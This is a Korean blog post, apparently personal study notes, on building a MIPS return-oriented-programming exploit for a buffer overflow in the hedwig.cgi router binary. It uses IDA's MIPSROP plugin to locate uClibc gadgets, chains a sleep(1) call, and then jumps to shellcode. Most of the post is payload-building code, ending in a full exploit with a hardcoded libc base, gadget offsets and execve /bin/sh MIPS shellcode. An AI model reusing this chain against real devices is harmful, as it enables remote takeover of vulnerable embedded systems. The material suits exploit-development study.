Self-Improvement
MIPS ROP Case 1 (Shellcode, MIPSROP IDA Plugin) 본문
실제 실습할 수 있는 장비가 없기 때문에 위 블로그의 내용을 바탕으로 이해한 것을 적어보자.
Shellcode 형식의 ROP를 진행하기 위해선 Sleep() 함수를 호출하여 캐시 coherence를 해결한다.
ROP
BOF가 발생하는 hedwig.cgi 바이너리 함수에서의 에필로그 부분이다.
스택에 있는 값을 각 레지스터로 저장한 뒤 $ra는 var_4($sp) 스택 값에서 가져와 jump하게 된다.
libuClibc-0.9.30.1.so 라이브러리에서 가젯들을 찾아주며 IDA의 MIPSROP 플러그인 기능을 사용한다.
(ASLR이 걸려있다면 라이브러이서의 가젯은 사용 불가능)
ROP 가젯1 (0x57E50 + lib_base_addr)
sleep() 함수를 호출할 때 사용할 인자를 셋팅해줄 가젯을 찾아준다.
mipsrop.find("li $a0,1")
2번째 0x57E50 가젯 주소를 더블클릭 하면 세부적으로 구성된 코드형식을 볼 수 있다.
1. $a0에 1을 대입해준다.
2. $s1의 값을 $t9로 대입해준다.
3. $t9에 있는 값으로 jump한다. ($t9 = $s1)
* mips의 특징 중 분기지연슬롯이 존재하며 jump 명령어 다음의 명령도 실제로는 수행을 한다. (가젯1에서는 불필요)
여기서 $s1에 sleep() 함수를 넣을 수 만 있다면 쉽게 호출할 수 있지만 호출되고 난 후의 다음 단계 ROP가 불가능함으로 이어 나갈 수 있는 가젯을 찾아 준다. ($ra)
ROP 가젯2 (0x3B8A8 + lib_base_addr)
$ra, $s0 등의 레지스터를 셋팅해주는 에필로그의 특정 가젯들을 찾아준다.
mipsrop.tail()
리스트 중 0x3B8A8을 확인하며 가젯2의 스택 공간은 0x28이다.
1. $s2의 값을 $t9에 셋팅한다.
2. 스택의 0x24($sp) 위치의 값을 $ra로 셋팅한다.
3. 스택의 0x20($sp) 위치의 값을 $s2로 셋팅한다
4. 스택의 0x1c($sp) 위치의 값을 $s1로 셋팅한다
5. 스택의 0x18($sp) 위치의 값을 $s0로 셋팅한다.
6. 스택의 공간 0x28를 제거해준다. (즉 가젯2를 시작할 땐 스택의 공간이 0x28만큼 차지, 분기지연슬롯 특징)
7. $t9로 jump 한다. ($t9 = $s2)
Sleep 함수 (0x56BD0 + lib_base_addr)
libuClibc-0.9.30.1.so 라이브러리에서 sleep 함수의 offset은 0x56BD0이다.
중간 점검
현재까지 가젯1, 가젯2, sleep 함수를 얻었으며 조합으로 sleep() 함수를 호출할 수 있게 된다.
BOF가 발생한 함수의 에필로그를 다시 확인해보면 스택에서 각 레지스터들을 셋팅을 할 수 있게 된다.
1. $ra(var_4($sp)) 위치에 가젯1 (0x57E50 + lib_base_addr)을 넣어준다.
2. $s1(var_24($sp)) 위치에 가젯2 (0x3B8A8 + lib_base_addr)을 넣어준다.
3. $s2(var_20($sp)) 위치에 sleep() 함수(0x56BD0 + lib_base_addr)를 넣어준다.
payload = 'A' * 0x3cd
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += 'A' * 4 # s4
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x28 # mipsrop.tail() 0x28 padding
가젯 1이 $ra가 되어 호출되어 지고 $a0에 1을 설정한 후 $s1에 있는 값으로 jump하게 된다.
사전에 $s1에 설정된 값은 가젯2이며 $s2에 있는 값을 $t0에 설정하게 되어 jump하게 된다.
가젯2 스택의 0x24($sp)에 있는 값이 $ra로 설정하게 된다. (최종 결과에서 셋팅)
사전에 $s2에 설정된 값은 sleep()함수 주소로 호출되어 $a0에 설정된 값 1로 인하여 sleep(1)이 호출된다.
여기까지는 정상적으로 실행이 되었음으로 다음은 이어서 Shellcode를 수행하는 ROP를 작성한다.
ROP 가젯3 (0x14F28 + lib_base_addr)
sleep() 함수가 끝나고 가젯2 스택의 0x24($sp)에 있는 값이 $ra로 셋팅되어 다음 가젯을 부를 수 있게된다.
우선 Shellcode를 실행하기 위해 쉘코드의 주소를 레지스터에 할당해주는 가젯들을 찾아본다.
mipsrop.stackfinder()
리스트중 0x14F28 가젯을 확인해본다.
1. $s1에 $sp+0x18의 주소값을 셋팅한다 ( 현재 스택의 주소는 가젯3을 호출한 시점부터 이다.
가젯2에서 설정된 0x28 스택 크기가 지워지고 난 뒤)
2. $s4의 값을 $t9에 셋팅한다
3. $t9로 jump 한다. ($t9 = $s4)
ROP 가젯4 (0x1DD08 + lib_base_addr)
가젯3에서 $s1에 스택의 주소값을 할당받았음으로 호출하는 가젯을 찾아주면 된다.
mipsrop.find("move $t9,$s1")
리스트중 0x1DD08를 확인한다.
1. $s1의 값을 $t9에 셋팅한다
2. $t9로 jump 한다. ($s1 = $t9)
최종 결과
이제 기존의 sleep(1) 함수를 호출한 코드에서 가젯3, 가젯4, shellcode를 붙혀주자.
1. sleep(1) 를 수행할 시 가젯2의 스택 공간 크기는 0x28이였고 var_4($sp)의 값이 $ra에 셋팅이 된다.
가젯 2의 $ra에 가젯3으로 가는 주소를 넣어주자.
payload = 'A' * 0x3cd
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += 'A' * 4 # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24 padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
2. 가젯3에서 $s4에 있는 값이 $t9에 셋팅되고 jump를 함으로 BOF가 발생하는 스택공간의 $s4 할당 부분에 가젯4를 넣어준다.
payload = 'A' * 0x3cd
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24 padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
3. 가젯3에서 $s1에 $sp, 0x18의 주소값을 넣었기 때문에 그에 맞는 padding을 추가해주고 shellcode를 추가하면 끝이난다.
payload = 'A' * 0x3cd
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24 padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18 padding
payload += shellcode
종합
libc_base = 0x76738000
sleep = 0x56BD0
gadget1 = 0x57E50
gadget2 = 0x3B8A8
gadget3 = 0x14F28
gadget4 = 0x1DD08
# Linux/MIPS - execve /bin/sh - 48 bytes
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = 'A' * 0x3cd
payload += 'A' * 4 # s0
payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2
payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)
payload += 'A' * 4 # s3
payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcode
payload += 'A' * 4 # s5
payload += 'A' * 4 # s6
payload += 'A' * 4 # s7
payload += 'A' * 4 # fp
payload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1
payload += 'B' * 0x24 # mipsrop.tail() 0x24 padding
payload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4
payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18 padding
payload += shellcode
추후 ROP가 가능한 취약점을 발견할 시 시도해보자.
'MIPS' 카테고리의 다른 글
MIPS ROP Case 2 (Shellcode, MIPSROP IDA Plugin) (0) | 2021.03.24 |
---|---|
MIPS Cache Incoherency 관련 가설??(rop, shellcode) (0) | 2021.03.19 |
MIPS ROP 예제들 (memory leak, not shellcode, ret2csu) (0) | 2021.03.18 |
GDB 에서 <func@plt> 안보이는 경우 해결 방법 (gcc docs, MIPS, plt, got, CI20) (0) | 2021.03.18 |
mips rop 예제들 (0) | 2021.03.16 |